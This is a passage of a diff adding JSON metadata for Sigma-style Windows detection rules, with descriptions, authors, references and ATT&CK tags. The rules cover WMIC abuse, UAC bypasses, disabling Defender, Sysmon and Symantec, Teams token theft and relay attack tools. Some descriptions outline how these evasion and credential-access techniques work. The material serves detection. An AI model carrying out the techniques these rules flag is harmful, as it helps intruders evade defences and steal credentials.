"https://digital-forensics.sans.org/blog/2010/06/04/wmic-draft/", + "https://www.hybrid-analysis.com/sample/4be06ecd234e2110bd615649fe4a6fa95403979acf889d7e45a78985eb50acf9?environmentId=1", + "https://blog.malwarebytes.com/threat-analysis/2016/04/rokku-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "car.2016-03-002" + ] + }, + "uuid": "526be59f-a573-4eea-b5f7-f0973207634d", + "value": "Suspicious WMIC Execution" + }, + { + "description": "Detects WMIC executing \"process call create\" with suspicious calls to processes such as \"rundll32\", \"regsrv32\"...etc", + "meta": { + "author": "Florian Roth, Nasreddine Bencherchali", + "creation_date": "2020/10/12", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_wmic_proc_create.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2020/10/08/ryuks-return/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_proc_create.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ] + }, + "uuid": "3c89a1e8-0fba-449e-8f1b-8409d6267ec8", + "value": "Suspicious WMIC Execution - ProcessCallCreate" + }, + { + "description": "Detects uninstallation or termination of security products using the WMIC utility", + "meta": { + "author": "Florian Roth, Nasreddine Bencherchali", + "creation_date": "2021/01/30", + "falsepositive": [ + "Legitimate administration" + ], + "filename": "proc_creation_win_susp_wmic_security_product_uninstall.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/cglyer/status/1355171195654709249", + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_security_product_uninstall.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "847d5ff3-8a31-4737-a970-aeae8fe21765", + "value": "Wmic Uninstall Security Product" + }, + { + "description": "Detects using WorkFolders.exe to execute an arbitrary control.exe", + "meta": { + "author": "Maxime Thiebaut (@0xThiebaut)", + "creation_date": "2021/10/21", + "falsepositive": [ + "Legitimate usage of the uncommon Windows Work Folders feature." + ], + "filename": "proc_creation_win_susp_workfolders.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/elliotkillick/status/1449812843772227588", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_workfolders.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ] + }, + "uuid": "0bbc6369-43e3-453d-9944-cae58821c173", + "value": "Execution via WorkFolders.exe" + }, + { + "description": "Detects code execution via the Windows Update client (wuauclt)", + "meta": { + "author": "FPT.EagleEye Team", + "creation_date": "2020/10/17", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_wuauclt.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://dtm.uk/wuauclt/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wuauclt.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.execution", + "attack.t1105", + "attack.t1218" + ] + }, + "uuid": "d7825193-b70a-48a4-b992-8b5b3015cc11", + "value": "Windows Update Client LOLBIN" + }, + { + "description": "Detects suspicious Windows Update Agent activity in which a wuauclt.exe process command line doesn't contain any command line flags", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/02/26", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_wuauclt_cmdline.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://redcanary.com/blog/blackbyte-ransomware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wuauclt_cmdline.yml" + ], + "tags": "No established tags" + }, + "uuid": "52d097e2-063e-4c9c-8fbb-855c8948d135", + "value": "Suspicious Windows Update Agent Empty Cmdline" + }, + { + "description": "ZipExec is a Proof-of-Concept (POC) tool to wrap binary-based tools into a password-protected zip file.", + "meta": { + "author": "frack113", + "creation_date": "2021/11/07", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_zipexec.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/SBousseaden/status/1451237393017839616", + "https://github.com/Tylous/ZipExec", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_zipexec.yml" + ], + "tags": [ + "attack.execution", + "attack.defense_evasion", + "attack.t1218", + "attack.t1202" + ] + }, + "uuid": "90dcf730-1b71-4ae7-9ffc-6fcf62bd0132", + "value": "Suspicious ZipExec Execution" + }, + { + "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", + "meta": { + "author": "frack113", + "creation_date": "2021/07/20", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_susp_zip_compress.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_zip_compress.yml" + ], + "tags": [ + "attack.collection", + "attack.t1074.001" + ] + }, + "uuid": "85a8e5ba-bd03-4bfb-bbfa-a4409a8f8b98", + "value": "Zip A Folder With PowerShell For Staging In Temp" + }, + { + "description": "Threat actors can use auditpol binary to change audit policy configuration to impair detection capability.\nThis can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.\n", + "meta": { + "author": "Janantha Marasinghe (https://github.com/blueteam0ps)", + "creation_date": "2021/02/02", + "falsepositive": [ + "Admin activity" + ], + "filename": "proc_creation_win_sus_auditpol_usage.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sus_auditpol_usage.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ] + }, + "uuid": "0a13e132-651d-11eb-ae93-0242ac130002", + "value": "Suspicious Auditpol Usage" + }, + { + "description": "Detects the usage of Sysinternals Tools due to accepteula option being seen in the command line.", + "meta": { + "author": "Markus Neis", + "creation_date": "2017/08/28", + "falsepositive": [ + "Legitimate use of SysInternals tools", + "Programs that use the same Registry Key" + ], + "filename": "proc_creation_win_sysinternals_eula_accepted.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/Moti_B/status/1008587936735035392", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_eula_accepted.yml" + ], + "tags": [ + "attack.resource_development", + "attack.t1588.002" + ] + }, + "uuid": "7cccd811-7ae9-4ebe-9afd-cb5c406b824b", + "value": "Usage of Sysinternals Tools" + }, + { + "description": "Detects usage of Sysinternals PsService for service reconnaissance or tamper", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/06/16", + "falsepositive": [ + "Legitimate use of PsService by an administrator" + ], + "filename": "proc_creation_win_sysinternals_psservice.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://docs.microsoft.com/en-us/sysinternals/downloads/psservice", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psservice.yml" + ], + "tags": [ + "attack.discovery", + "attack.persistence", + "attack.t1543.003" + ] + }, + "uuid": "3371f518-5fe3-4cf6-a14b-2a0ae3fd8a4f", + "value": "Use of Sysinternals PsService" + }, + { + "description": "Detects the use of SharpEvtHook, a tool to tamper with Windows event logs", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/09/07", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_sysmon_disable_sharpevtmute.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/bats3c/EvtMute", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_disable_sharpevtmute.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ] + }, + "uuid": "bedfc8ad-d1c7-4e37-a20e-e2b0dbee759c", + "value": "SharpEvtMute EvtMuteHook Load" + }, + { + "description": "Detect possible Sysmon driver unload", + "meta": { + "author": "Kirill Kiryanov, oscd.community", + "creation_date": "2019/10/23", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_sysmon_driver_unload.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.darkoperator.com/blog/2018/10/5/operating-offensively-against-sysmon", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_driver_unload.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070", + "attack.t1562", + "attack.t1562.002" + ] + }, + "uuid": "4d7cda18-1b12-4e52-b45c-d28653210df8", + "value": "Sysmon Driver Unload" + }, + { + "description": "Detects suspicious process executions in which Sysmon itself is the parent of a process, which could be a sign of exploitation (e.g. CVE-2022-41120)", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/11/10", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_sysmon_exploitation.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41120", + "https://twitter.com/filip_dragovic/status/1590052248260055041", + "https://twitter.com/filip_dragovic/status/1590104354727436290", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_exploitation.yml" + ], + "tags": "No established tags" + }, + "uuid": "6d1058a4-407e-4f3a-a144-1968c11dc5c3", + "value": "Suspicious Sysmon as Execution Parent" + }, + { + "description": "Detects UAC bypass method using Windows event viewer", + "meta": { + "author": "Florian Roth", + "creation_date": "2017/03/19", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_sysmon_uac_bypass_eventvwr.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", + "https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysmon_uac_bypass_eventvwr.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002", + "car.2019-04-001" + ] + }, + "uuid": "be344333-921d-4c4d-8bb8-e584cf584780", + "value": "UAC Bypass via Event Viewer" + }, + { + "description": "Detects process creation events that use the Sysnative folder (common for CobaltStrike spawns)", + "meta": { + "author": "Max Altgelt", + "creation_date": "2022/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_sysnative.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysnative.yml" + ], + "tags": [ + "attack.t1055" + ] + }, + "uuid": "3c1b5fb0-c72f-45ba-abd1-4d4c353144ab", + "value": "Process Creation Using Sysnative Folder" + }, + { + "description": "Detects a Windows program executable started from a suspicious folder", + "meta": { + "author": "Florian Roth, Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali", + "creation_date": "2017/11/27", + "falsepositive": [ + "Exotic software" + ], + "filename": "proc_creation_win_system_exe_anomaly.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/GelosSnake/status/934900723426439170", + "https://asec.ahnlab.com/en/39828/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_system_exe_anomaly.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1036" + ] + }, + "uuid": "e4a6b256-3e47-40fc-89d2-7a477edd6915", + "value": "System File Execution Location Anomaly" + }, + { + "description": "Detects attempts to remove windows defender configuration using the 'MpPreference' cmdlet", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/05", + "falsepositive": [ + "Legitimate PowerShell scripts" + ], + "filename": "proc_creation_win_tamper_defender_remove_mppreference.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tamper_defender_remove_mppreference.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "07e3cb2c-0608-410d-be4b-1511cb1a0448", + "value": "Tamper Windows Defender Remove-MpPreference" + }, + { + "description": "Well-known TAP software installation. Possible preparation for data exfiltration using tunneling techniques", + "meta": { + "author": "Daniil Yugoslavskiy, Ian Davis, oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Legitimate OpenVPN TAP insntallation" + ], + "filename": "proc_creation_win_tap_installer_execution.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tap_installer_execution.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048" + ] + }, + "uuid": "99793437-3e16-439b-be0f-078782cf953d", + "value": "Tap Installer Execution" + }, + { + "description": "Detects one of the possible scenarios for disabling symantec endpoint protection.\nSymantec Endpoint Protection antivirus software services incorrectly implement the protected service mechanism.\nAs a result, the NT AUTHORITY/SYSTEM user can execute the taskkill /im command several times ccSvcHst.exe /f, thereby killing the process belonging to the service, and thus shutting down the service.\n", + "meta": { + "author": "Ilya Krestinichev, Florian Roth", + "creation_date": "2022/09/13", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_taskkill_sep.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.exploit-db.com/exploits/37525", + "https://community.spiceworks.com/topic/2195015-batch-script-to-uninstall-symantec-endpoint-protection", + "https://community.broadcom.com/symantecenterprise/communities/community-home/digestviewer/viewthread?MessageKey=6ce94b67-74e1-4333-b16f-000b7fd874f0&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=digestviewer", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_taskkill_sep.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "4a6713f6-3331-11ed-a261-0242ac120002", + "value": "Taskkill Symantec Endpoint Protection" + }, + { + "description": "The Tasks folder in system32 and syswow64 are globally writable paths.\nAdversaries can take advantage of this and load or influence any script hosts or ANY .NET Application \nin Tasks to load and execute a custom assembly into cscript, wscript, regsvr32, mshta, eventvwr\n", + "meta": { + "author": "Sreeman", + "creation_date": "2020/01/13", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_task_folder_evasion.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/subTee/status/1216465628946563073", + "https://gist.github.com/am0nsec/8378da08f848424e4ab0cc5b317fdd26", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_task_folder_evasion.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.execution", + "attack.t1574.002" + ] + }, + "uuid": "cc4e02ba-9c06-48e2-b09e-2500cace9ae0", + "value": "Tasks Folder Evasion" + }, + { + "description": "Detects an access to authentication tokens and accounts of Microsoft Teams desktop application.", + "meta": { + "author": "@SerkinValery", + "creation_date": "2022/09/16", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_teams_suspicious_command_line_cred_access.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", + "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_teams_suspicious_command_line_cred_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1528" + ] + }, + "uuid": "d2eb17db-1d39-41dc-b57f-301f6512fa75", + "value": "Suspicious Command With Teams Objects Pathes" + }, + { + "description": "Detects a process spawned by the terminal service server process (this could be an indicator for an exploitation of CVE-2019-0708)", + "meta": { + "author": "Florian Roth", + "creation_date": "2019/05/22", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_termserv_proc_spawn.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_termserv_proc_spawn.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190", + "attack.lateral_movement", + "attack.t1210", + "car.2013-07-002" + ] + }, + "uuid": "1012f107-b8f1-4271-af30-5aed2de89b39", + "value": "Terminal Service Process Spawn" + }, + { + "description": "Detects different hacktools used for relay attacks on Windows for privilege escalation", + "meta": { + "author": "Florian Roth", + "creation_date": "2021/07/24", + "falsepositive": [ + "Legitimate files with these rare hacktool names" + ], + "filename": "proc_creation_win_tools_relay_attacks.yml", + "level": "critical", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://attack.mitre.org/techniques/T1557/001/", + "https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/", + "https://pentestlab.blog/2017/04/13/hot-potato/", + "https://github.com/ohpe/juicy-potato", + "https://hunter2.gitbook.io/darthsidious/other/war-stories/domain-admin-in-30-minutes", + "https://hunter2.gitbook.io/darthsidious/execution/responder-with-ntlm-relay-and-empire", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tools_relay_attacks.yml" + ], + "tags": [ + "attack.execution", + "attack.t1557.001" + ] + }, + "uuid": "5589ab4f-a767-433c-961d-c91f3f704db1", + "value": "SMB Relay Attack Tools" + }, + { + "description": "Detects tools such as UACMe used to bypass UAC with computerdefaults.exe (UACMe 59)", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/08/31", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_tools_uac_bypass_computerdefaults.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tools_uac_bypass_computerdefaults.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "3c05e90d-7eba-4324-9972-5d7f711a60a8", + "value": "UAC Bypass Tools Using ComputerDefaults" + }, + { + "description": "Detects the use of NirCmd tool for command execution, which could be the result of legitimate administrative activity", + "meta": { + "author": "Florian Roth, Nasreddine Bencherchali", + "creation_date": "2022/01/24", + "falsepositive": [ + "Legitimate use by administrators" + ], + "filename": "proc_creation_win_tool_nircmd.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.nirsoft.net/utils/nircmd.html", + "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", + "https://www.nirsoft.net/utils/nircmd2.html#using", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_nircmd.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ] + }, + "uuid": "4e2ed651-1906-4a59-a78a-18220fca1b22", + "value": "NirCmd Tool Execution" + }, + { + "description": "Detects the use of NirCmd tool for command execution as SYSTEM user", + "meta": { + "author": "Florian Roth, Nasreddine Bencherchali @nas_bench", + "creation_date": "2022/01/24", + "falsepositive": [ + "Legitimate use by administrators" + ], + "filename": "proc_creation_win_tool_nircmd_as_system.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.nirsoft.net/utils/nircmd.html", + "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", + "https://www.nirsoft.net/utils/nircmd2.html#using", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_nircmd_as_system.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ] + }, + "uuid": "d9047477-0359-48c9-b8c7-792cedcdc9c4", + "value": "NirCmd Tool Execution As LOCAL SYSTEM" + }, + { + "description": "Detects the use of NSudo tool for command execution", + "meta": { + "author": "Florian Roth, Nasreddine Bencherchali", + "creation_date": "2022/01/24", + "falsepositive": [ + "Legitimate use by administrators" + ], + "filename": "proc_creation_win_tool_nsudo_execution.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://nsudo.m2team.org/en-us/", + "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_nsudo_execution.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ] + }, + "uuid": "771d1eb5-9587-4568-95fb-9ec44153a012", + "value": "NSudo Tool Execution" + }, + { + "description": "Detects PsExec service execution via default service image name", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2017/06/12", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_tool_psexec.yml", + "level": "low", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", + "https://jpcertcc.github.io/ToolAnalysisResultSheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_psexec.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ] + }, + "uuid": "fa91cc36-24c9-41ce-b3c8-3bbc3f2f67ba", + "value": "PsExec Tool Execution" + }, + { + "description": "Detects the use of RunXCmd tool for command execution", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/01/24", + "falsepositive": [ + "Legitimate use by administrators" + ], + "filename": "proc_creation_win_tool_runx_as_system.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.d7xtech.com/free-software/runx/", + "https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tool_runx_as_system.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ] + }, + "uuid": "93199800-b52a-4dec-b762-75212c196542", + "value": "RunXCmd Tool Execution As System" + }, + { + "description": "Detects the use of Tor or Tor-Browser to connect to onion routing networks", + "meta": { + "author": "frack113", + "creation_date": "2022/02/20", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_tor_browser.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.logpoint.com/en/blog/detecting-tor-use-with-logpoint/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tor_browser.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1090.003" + ] + }, + "uuid": "62f7c9bf-9135-49b2-8aeb-1e54a6ecc13c", + "value": "Tor Client or Tor Browser Use" + }, + { + "description": "Detect use of TruffleSnout.exe", + "meta": { + "author": "frack113", + "creation_date": "2022/08/20", + "falsepositive": [ + "Legitimate use" + ], + "filename": "proc_creation_win_trufflesnout.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1482/T1482.md", + "https://github.com/dsnezhkov/TruffleSnout", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_trufflesnout.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1482" + ] + }, + "uuid": "69ca006d-b9a9-47f5-80ff-ecd4d25d481a", + "value": "Launch TruffleSnout Executable" + }, + { + "description": "Identifies execution of nltest.exe and dsquery.exe for domain trust discovery. This technique is used by attackers to enumerate Active Directory trusts.", + "meta": { + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community, omkar72", + "creation_date": "2019/10/24", + "falsepositive": [ + "Legitimate use of the utilities by legitimate user for legitimate reason" + ], + "filename": "proc_creation_win_trust_discovery.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1482/T1482.md", + "https://eqllib.readthedocs.io/en/latest/analytics/03e231a6-74bc-467a-acb1-e5676b0fb55e.html", + "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", + "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", + "https://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_trust_discovery.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1482" + ] + }, + "uuid": "3bad990e-4848-4a78-9530-b427d854aac0", + "value": "Domain Trust Discovery" + }, + { + "description": "Detects an UAC bypass that uses changepk.exe and slui.exe (UACMe 61)", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_uac_bypass_changepk_slui.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://mattharr0ey.medium.com/privilege-escalation-uac-bypass-in-changepk-c40b92818d1b", + "https://github.com/hfiref0x/UACME", + "https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_changepk_slui.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "503d581c-7df0-4bbe-b9be-5840c0ecc1fc", + "value": "UAC Bypass Using ChangePK and SLUI" + }, + { + "description": "Detects the pattern of UAC Bypass using scheduled tasks and variable expansion of cleanmgr.exe (UACMe 34)", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/08/30", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_uac_bypass_cleanmgr.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cleanmgr.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + "uuid": "b697e69c-746f-4a86-9f59-7bfff8eab881", + "value": "UAC Bypass Using Disk Cleanup" + }, + { + "description": "Detect commandline usage of Microsoft Connection Manager Profile Installer (cmstp.exe) to install specially formatted local .INF files", + "meta": { + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", + "creation_date": "2019/10/24", + "falsepositive": [ + "Legitimate use of cmstp.exe utility by legitimate user" + ], + "filename": "proc_creation_win_uac_bypass_cmstp.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://eqllib.readthedocs.io/en/latest/analytics/e584f1a1-c303-4885-8a66-21360c90995b.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.003/T1218.003.md", + "https://lolbas-project.github.io/lolbas/Binaries/Cmstp/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cmstp.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1548.002", + "attack.t1218.003" + ] + }, + "uuid": "e66779cc-383e-4224-a3a4-267eeb585c40", + "value": "Bypass UAC via CMSTP" + }, + { + "description": "Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/08/23", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_uac_bypass_consent_comctl32.yml", + "level": "high", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_consent_comctl32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ] + }, + 